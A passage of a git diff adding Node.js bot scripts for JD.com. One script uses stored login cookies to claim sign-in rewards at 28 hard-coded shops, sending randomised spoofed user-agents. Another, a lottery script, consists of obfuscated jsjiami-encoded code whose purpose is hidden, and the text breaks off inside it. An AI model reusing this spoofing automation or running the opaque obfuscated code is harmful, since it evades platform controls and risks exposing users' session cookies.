new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_dpqd.js b/jd_dpqd.js new file mode 100644 index 0000000..9a86f03 --- /dev/null +++ b/jd_dpqd.js @@ -0,0 +1,381 @@ +/* +店铺签到 +15 2,14 * * * jd_dpqd.js +*/ +const $ = new Env('店铺签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = '', message; +const JD_API_HOST = 'https://api.m.jd.com/api?appid=interCenter_shopSign'; + +let activityId='' +let vender='' +let num=0 +let shopname='' +const token = [ + "374951B8D50E5D4E01E40153413F00E9", + "44C33E9D3144110A9FEE634A4888D31B", + "3949F55A02AA8A345409AFD9821C861F", + "C387DE3A3F4381FB3E451F0C40069FE6", + "05451231AF1DE95AC10FC3A56C3F8A73", + "A92269DC92DDD73CC5EB38B3BACF51E3", + "94C7B64A6137E339AAA79DC3A6465C1B", + "2ED2F283E4640130BA5128E8BBDC3DDA", + "1DD46671387EAC6FDC14B753E01D5E30", + "BD0D2682B13A75E0AAF7D8E78844F07C", + "662E62C629FB6B20CED938E41A0DC026", + "F573A078062F9F18BFCC39080864D7F5", + "D7DCB5D6D847EB0167C2B0A180B95F68", + "D9831E95344C483C6B6B7D8FB314E0D7", + "582EA3EA048A3D49961766498A136F9C", + "2B9B07D1D14E821744F7BA63F94CD6F2", + "67D2D5824D043A5C2EA9C53B900B932C", + "2C8CBED431A4A275155387ABDF958427", + "833CE1B5158A097598C07D4B2B5B314E", + "37D0FAA99892A9E613A1B46E5A55973B", + "205E1E703925C48276C0DEBF16C6CBAD", + "D35923E942C11178C38BD29E783695B8", + "921478C146E5C60F2444E3978AC8E94F", + "F327D3978F47808803FD532F19BE3696", + "DCD4903E0278DBA70A302612F411876F", + "DB872465EDEB653BB501819F9B9DD326", + "D4BE8025929E6D662FBCB9F946BF4215", + "BC28601FD2C5B9A5D50038825C842358" +] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = jsonParse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await dpqd() + await showMsg() + await $.wait(1500) + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +//开始店铺签到 +async function dpqd(){ + for (var j = 0; j < token.length; j++) { + num=j+1 + if (token[j]=='') {continue} + getUA() + await getvenderId(token[j]) + if (vender=='') {continue} + await getvenderName(vender) + await getActivityInfo(token[j],vender) + await signCollectGift(token[j],vender,activityId) + await taskUrl(token[j],vender) + } +} + +//获取店铺ID +function getvenderId(token) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/api?appid=interCenter_shopSign&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:%22%22}&jsonp=jsonp1000`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": 'https://h5.m.jd.com/', + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + if (data.code==402) { + vender='' + console.log(`第`+num+`个店铺签到活动已失效`) + message +=`第`+num+`个店铺签到活动已失效\n` + }else{ + vender=data.data.venderId + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//获取店铺名称 +function getvenderName(venderId) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/mshop/QueryShopMemberInfoJson?venderId=${venderId}`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(data) + shopName = data.shopName + console.log(`【`+shopName+`】`) + message +=`【`+shopName+`】` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + +//获取店铺活动信息 +function getActivityInfo(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:${venderId}}&jsonp=jsonp1005`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(data) + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + activityId=data.data.id + //console.log(data) + let mes=''; + for (let i = 0; i < data.data.continuePrizeRuleList.length; i++) { + const level=data.data.continuePrizeRuleList[i].level + const discount=data.data.continuePrizeRuleList[i].prizeList[0].discount + mes += "签到"+level+"天,获得"+discount+'豆' + } + // console.log(message+mes+'\n') + // message += mes+'\n' + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺签到 +function signCollectGift(token,venderId,activitytemp) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_signCollectGift&body={%22token%22:%22${token}%22,%22venderId%22:688200,%22activityId%22:${activitytemp},%22type%22:56,%22actionType%22:7}&jsonp=jsonp1004`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺获取签到信息 +function taskUrl(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getSignRecord&body={%22token%22:%22${token}%22,%22venderId%22:${venderId},%22activityId%22:${activityId},%22type%22:56}&jsonp=jsonp1006`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "referer": `https://h5.m.jd.com/`, + "User-Agent": $.UA + // "user-agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + console.log(`已签到:`+data.data.days+`天`) + message +=`已签到:`+data.data.days+`天\n` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function showMsg() { + if ($.isNode()) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + allMessage += `【京东账号${$.index}】${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": `jdapp;android;9.3.5;10;3353234393134326-3673735303632613;network/wifi;model/MI 8;addressid/138719729;aid/3524914bc77506b1;oaid/274aeb3d01b03a22;osVer/29;appBuild/86390;psn/Mp0dlaZf4czQtfPNMEfpcYU9S/f2Vv4y|2255;psq/1;adk/;ads/;pap/JA2015_311210|9.3.5|ANDROID 10;osv/10;pv/2039.1;jdv/0|androidapp|t_335139774|appshare|QQfriends|1611211482018|1611211495;ref/com.jingdong.app.mall.home.JDHomeFragment;partner/jingdong;apprpd/Home_Main;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36` + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = data['base'].nickname; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getUA() { + $.UA = `jdapp;iPhone;10.2.2;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460611;appBuild/167863;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_drawCenter.js b/jd_drawCenter.js new file mode 100644 index 0000000..c49c8bc --- /dev/null +++ b/jd_drawCenter.js @@ -0,0 +1,15 @@ +/* +活动名称:店铺抽奖(刮刮乐) +活动链接:https://lzkj-isv.isvjd.com/drawCenter/activity/entry.html?activityId=<活动id> +环境变量:jd_drawCenter_activityId // 活动id + +默认助力第一个号 + +7 7 7 7 7 jd_drawCenter.js +*/ + +var _0xodA='jsjiami.com.v6',_0xodA_=['‮_0xodA'],_0x9979=[_0xodA,'\x77\x36\x6e\x43\x71\x67\x33\x43\x6a\x45\x54\x43\x76\x73\x4b\x66\x77\x72\x66\x44\x67\x73\x4f\x4a\x77\x72\x2f\x44\x74\x42\x6c\x67','\x77\x6f\x67\x73\x4c\x63\x4f\x79\x77\x70\x6f\x3d','\x46\x63\x4b\x32\x77\x36\x59\x39\x77\x35\x4d\x37\x53\x4d\x4b\x6c','\x4a\x73\x4b\x4d\x77\x36\x5a\x74','\x59\x73\x4f\x69\x4d\x63\x4f\x2f\x4d\x43\x76\x43\x74\x4d\x4b\x5a','\x49\x4d\x4b\x4d\x77\x36\x46\x70\x77\x71\x66\x43\x68\x73\x4b\x45\x77\x36\x59\x3d','\x77\x36\x6a\x44\x68\x38\x4b\x65\x77\x71\x54\x43\x71\x33\x72\x43\x74\x32\x63\x3d','\x45\x4d\x4b\x56\x77\x35\x59\x55\x77\x34\x6f\x3d','\x77\x71\x6a\x44\x6a\x38\x4f\x30\x65\x6b\x67\x3d','\x77\x6f\x55\x53\x77\x71\x35\x31\x43\x67\x3d\x3d','\x4e\x38\x4b\x68\x48\x42\x52\x61','\x41\x78\x58\x44\x67\x4d\x4b\x52\x77\x34\x41\x3d','\x4b\x79\x46\x39\x77\x71\x4d\x3d','\x45\x4d\x4b\x4b\x4a\x52\x4a\x58','\x77\x37\x31\x30\x77\x34\x31\x4d\x51\x77\x3d\x3d','\x49\x31\x38\x2f\x58\x38\x4f\x69','\x77\x70\x7a\x44\x69\x73\x4b\x4e','\x48\x73\x4b\x74\x77\x37\x63\x35\x77\x36\x38\x58\x51\x4d\x4b\x7a\x54\x46\x4a\x39\x43\x77\x3d\x3d','\x77\x72\x67\x74\x51\x73\x4f\x49\x50\x51\x3d\x3d','\x77\x35\x39\x58\x77\x36\x39\x66\x61\x77\x3d\x3d','\x77\x35\x33\x44\x70\x46\x58\x44\x69\x51\x38\x3d','\x63\x68\x6b\x39\x55\x31\x59\x3d','\x77\x35\x6c\x54\x77\x34\x4a\x76\x65\x41\x3d\x3d','\x50\x43\x46\x79\x77\x71\x50\x43\x73\x41\x3d\x3d','\x77\x36\x51\x36\x44\x43\x42\x41','\x5a\x57\x78\x49\x53\x69\x67\x3d','\x62\x73\x4f\x30\x46\x73\x4f\x34\x47\x67\x3d\x3d','\x46\x4d\x4f\x7a\x77\x36\x33\x43\x6e\x41\x59\x3d','\x77\x70\x2f\x44\x6e\x31\x68\x57\x77\x71\x6b\x3d','\x77\x72\x5a\x61\x54\x38\x4b\x49\x5a\x56\x6b\x3d','\x77\x37\x66\x44\x6b\x51\x44\x44\x6f\x30\x6b\x3d','\x5a\x31\x50\x44\x6c\x63\x4f\x59\x46\x42\x54\x43\x69\x51\x37\x44\x6a\x46\x48\x43\x68\x63\x4f\x2b\x64\x48\x6e\x43\x69\x4d\x4f\x69\x77\x71\x42\x67\x52\x42\x35\x37\x77\x72\x6e\x44\x75\x4d\x4f\x5a\x77\x36\x54\x43\x70\x38\x4b\x2f\x77\x6f\x48\x43\x6a\x69\x66\x44\x6d\x73\x4b\x75\x77\x36\x4a\x51\x77\x71\x42\x30\x77\x70\x66\x44\x74\x63\x4f\x41\x44\x67\x3d\x3d','\x77\x72\x73\x6d\x46\x69\x63\x5a\x77\x34\x4d\x63','\x77\x71\x74\x77\x77\x35\x62\x44\x73\x73\x4f\x69','\x77\x34\x50\x43\x6a\x73\x4f\x49\x77\x37\x54\x43\x75\x41\x3d\x3d','\x43\x54\x73\x42\x48\x7a\x59\x50','\x4b\x7a\x70\x30\x49\x41\x63\x3d','\x77\x70\x6e\x43\x68\x42\x56\x67\x77\x72\x63\x3d','\x77\x70\x45\x48\x77\x6f\x64\x4b\x4a\x77\x3d\x3d','\x50\x43\x46\x4b\x77\x72\x4c\x43\x72\x42\x5a\x50\x77\x37\x77\x3d','\x77\x72\x30\x73\x4d\x7a\x73\x49\x77\x34\x55\x4c\x77\x34\x51\x32\x77\x37\x6e\x44\x6a\x67\x3d\x3d','\x77\x6f\x78\x41\x77\x35\x33\x43\x72\x55\x74\x72\x77\x34\x50\x44\x71\x67\x3d\x3d','\x41\x57\x68\x4c\x44\x77\x3d\x3d','\x77\x6f\x76\x44\x6f\x7a\x7a\x44\x70\x4d\x4f\x4e','\x77\x70\x48\x44\x6f\x63\x4b\x37\x61\x30\x4d\x3d','\x42\x38\x4f\x73\x77\x36\x66\x43\x67\x54\x30\x62\x77\x72\x42\x64','\x35\x4c\x71\x63\x35\x4c\x6d\x78\x36\x4c\x2b\x6a\x35\x5a\x75\x4f\x35\x4c\x71\x30\x35\x36\x6d\x38\x35\x70\x57\x2b\x35\x6f\x79\x7a','\x77\x71\x6a\x43\x75\x78\x74\x51\x43\x67\x3d\x3d','\x77\x36\x6e\x43\x76\x77\x72\x43\x73\x30\x44\x44\x71\x73\x4f\x67\x77\x36\x72\x44\x67\x4d\x4f\x63\x77\x37\x66\x44\x70\x78\x31\x77\x59\x58\x59\x6f\x77\x72\x66\x44\x6a\x73\x4b\x56\x77\x71\x4d\x38\x4d\x63\x4f\x33\x77\x36\x58\x44\x76\x54\x50\x44\x68\x4d\x4b\x36\x77\x35\x7a\x43\x70\x68\x6a\x43\x69\x77\x49\x50\x4c\x41\x